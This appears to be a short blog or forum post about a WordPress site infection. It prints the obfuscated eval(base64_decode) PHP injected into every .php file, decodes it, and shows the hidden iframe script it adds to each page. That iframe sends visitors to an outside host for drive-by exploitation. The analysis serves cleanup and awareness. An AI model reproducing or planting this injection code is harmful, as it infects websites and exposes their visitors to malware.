I’ve just check a friends site and the worm/hack has attached it self to every .php file in the wordpress directory — not many clean ways around this except to get a fresh install or all WP files, including themes.
Starts with /**/ eval(base64_decode("aWYoZ ..... IH0gIH0="));?>
Decoded this gives you:
if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){ $GLOBALS['mr_no']=1; if(!function_exists('mrobh')){ if(!function_exists('gml')){ function gml(){ if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&& (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){ return base64_decode("PHNjcmlwdD52YXIgVmtYbVI2PSdkJCEjbyQhI2MkISN1JCEjbSQhI2UkISNuJCEjdCQhIy4kISN3JCEjciQhI2kkISN0JCEjZSQhIygkISNcJyQhIzwkISNpJCEjZiQhI3IkISNhJCEjbSQhI2UkISMgJCEjcyQhI3IkISNjJCEjPSQhIyIkISNoJCEjdCQhI3QkISNwJCEjOiQhIy8kISMvJCEjZyQhI2UkISNvJCEjbiQhI28kISNuJCEjLiQhI24kISNlJCEjdCQhIy8kISNpJCEjbiQhIy4kISNwJCEjaCQhI3AkISMiJCEjICQhI3ckISNpJCEjZCQhI3QkISNoJCEjPSQhIzEkISMgJCEjaCQhI2UkISNpJCEjZyQhI2gkISN0JCEjPSQhIzEkISMgJCEjZiQhI3IkISNhJCEjbSQhI2UkISNiJCEjbyQhI3IkISNkJCEjZSQhI3IkISM9JCEjMCQhIz4kISM8JCEjLyQhI2kkISNmJCEjciQhI2EkISNtJCEjZSQhIz4kISNcJyQhIykkISM7JCEjJztldmFsKFZrWG1SNi5zcGxpdCgnJCEjJykuam9pbigiIikpOzwvc2NyaXB0Pg=="); } return ""; } } if(!function_exists('gzdecode')){ function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){ $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1)); $RBE4C4D037E939226F65812885A53DAD9=10; $RA3D52E52A48936CDE0F5356BB08652F2=0; if($R30B2AB8DC1496D06B230A71D8962AF5D&4){ $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2)); $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1]; $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB; } if($R30B2AB8DC1496D06B230A71D8962AF5D&8){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&16){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&2){ $RBE4C4D037E939226F65812885A53DAD9+=2; } $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9)); if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){ $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C; } return $R034AE2AB94F99CC81B389A1822DA3353; } } function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){ Header('Content-Encoding: none'); $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B); if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE); }else{ return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml(); } } ob_start('mrobh'); } }
This code produces the following javascript that finds itself on the bottom of every page.
document.write(\'<iframe src="https://geonon.net/in.php" width=1 height=1 frameborder=0></iframe>\');
After you reach this site it continues to fire you from site to site until it attempts to find Adobe on the host machine and run as java based program.